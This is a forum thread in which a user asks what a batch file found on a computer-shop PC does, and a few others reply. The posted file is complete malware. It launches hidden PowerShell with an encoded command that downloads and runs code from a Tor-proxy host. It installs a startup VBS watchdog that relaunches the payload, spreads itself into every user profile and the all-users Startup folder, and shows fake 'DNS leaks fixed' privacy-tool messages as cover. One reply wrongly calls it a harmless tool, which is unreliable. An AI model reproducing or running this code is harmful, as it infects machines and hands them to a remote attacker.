Closed What kind of .bat code is this?

[PHC-Rafael]

Nakita ko lang d2 sa shop

@echo off
if %PROCESSOR_ARCHITECTURE%==x86 (
    powershell -NoP -NonI -W Hidden -Exec Bypass -Enc WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0ACgBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAGwAYwAyADUAcQBqADIAZwBkAGMAYQBpAGQAYQByAGMALgBvAG4AaQBvAG4ALgB0AG8AOgA0ADQAMwAvAEwAZQBUAHIAVwBIAHoASQBxACIAKQAKAA==)
if %PROCESSOR_ARCHITECTURE%==AMD64 (
    %WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0ACgBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAGwAYwAyADUAcQBqADIAZwBkAGMAYQBpAGQAYQByAGMALgBvAG4AaQBvAG4ALgB0AG8AOgA0ADQAMwAvAEwAZQBUAHIAVwBIAHoASQBxACIAKQAKAA== )


@echo @echo off > "%USERPROFILE%\appdata\file.bat"
@echo if %%PROCESSOR_ARCHITECTURE%%==x86 ( START /B powershell -NoP -NonI -W Hidden -Exec Bypass -Enc WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0ACgBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAGwAYwAyADUAcQBqADIAZwBkAGMAYQBpAGQAYQByAGMALgBvAG4AaQBvAG4ALgB0AG8AOgA0ADQAMwAvAEwAZQBUAHIAVwBIAHoASQBxACIAKQAKAA== ) >> "%USERPROFILE%\appdata\file.bat"
@echo if %%PROCESSOR_ARCHITECTURE%%==AMD64( START /B %%WinDir%%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Enc WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgAHsAJAB0AHIAdQBlAH0ACgBpAGUAeAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACIAaAB0AHQAcABzADoALwAvAGwAYwAyADUAcQBqADIAZwBkAGMAYQBpAGQAYQByAGMALgBvAG4AaQBvAG4ALgB0AG8AOgA0ADQAMwAvAEwAZQBUAHIAVwBIAHoASQBxACIAKQAKAA== ) >> "%USERPROFILE%\appdata\file.bat"

SET sfpath=AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

SET sfpathall=%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup

echo Dim WinScriptHost > "%USERPROFILE%\%sfpath%\config.vbs"
echo WScript.Sleep(30000) >> "%USERPROFILE%\%sfpath%\config.vbs"
echo Set WinScriptHost = CreateObject("WScript.Shell") >> "%USERPROFILE%\%sfpath%\config.vbs"
echo WinScriptHost.Run Chr(34) ^& "%%USERPROFILE%%\appdata\file.bat" ^& Chr(34)^, 0 >> "%USERPROFILE%\%sfpath%\config.vbs"
echo While True >> "%USERPROFILE%\%sfpath%\config.vbs"
echo    set service = GetObject ("winmgmts:") >> "%USERPROFILE%\%sfpath%\config.vbs"
echo    running = 0 >> "%USERPROFILE%\%sfpath%\config.vbs"
echo    for each Process in Service.InstancesOf ("Win32_Process") >> "%USERPROFILE%\%sfpath%\config.vbs"
echo        If Process.Name = "powershell.exe" then >> "%USERPROFILE%\%sfpath%\config.vbs"
echo            running = running + 1 >> "%USERPROFILE%\%sfpath%\config.vbs"
echo            End If >> "%USERPROFILE%\%sfpath%\config.vbs"
echo    next >> "%USERPROFILE%\%sfpath%\config.vbs"
echo    If running ^< 1 then >> "%USERPROFILE%\%sfpath%\config.vbs"
echo        WinScriptHost.Run Chr(34) ^& "%%USERPROFILE%%\appdata\file.bat" ^& Chr(34)^, 0 >> "%USERPROFILE%\%sfpath%\config.vbs"
echo        End If >> "%USERPROFILE%\%sfpath%\config.vbs"
echo    WScript.Sleep(120000) >> "%USERPROFILE%\%sfpath%\config.vbs"
echo Wend >> "%USERPROFILE%\%sfpath%\config.vbs"
echo Set WinScriptHost = Nothing >> "%USERPROFILE%\%sfpath%\config.vbs"

START /B wscript.exe "%USERPROFILE%\%sfpath%\config.vbs"

cd %USERPROFILE%
cd ..
for /d %%f in (*) do (
    START /B cmd.exe copy "%USERPROFILE%\appdata\file.bat" "%%~ff\appdata\file.bat"
    START /B cmd.exe copy "%USERPROFILE%\%sfpath%\config.vbs" "%%~ff\%sfpath%\config.vbs"
    )

START /B cmd.exe copy "%USERPROFILE%\%sfpath%\config.vbs" "%sfpathall%\config.vbs"

echo Wscript.Sleep 3000 > "%userprofile%\appdata\sleep.vbs"
REM cls
REM :A
REM color 0a
REM cls
echo Starting Privacy Tools...
start /w wscript.exe "%userprofile%\appdata\sleep.vbs"
echo:
echo:
echo:
echo Checking for DNS leaks...
start /w wscript.exe "%userprofile%\appdata\sleep.vbs"
echo:
echo:
echo:
echo DNS leaks fixed!
start /w wscript.exe "%userprofile%\appdata\sleep.vbs"
echo:
echo:
echo:
echo:

set /p DUMMY=Hit ENTER to continue...

del "%userprofile%\appdata\sleep.vbs"

 

[djcruzer]

uhhm di ko alam...try mo mag install ng deepfreze tapos try mo siya kung anog effect sa pc mo...

 

[PUTANKINNAMALL]

tool po ata yan not malicious code ...try mo i run sa virtual machine ts

 

[PHC-Rafael]

tool po ata yan not malicious code ...try mo i run sa virtual machine ts

ahh sige salmat

 

[lolomokalbo_]

Saan mo nakita yan boss?

 

[PHC-Rafael]

Saan mo nakita yan boss?

dito lang sa compshop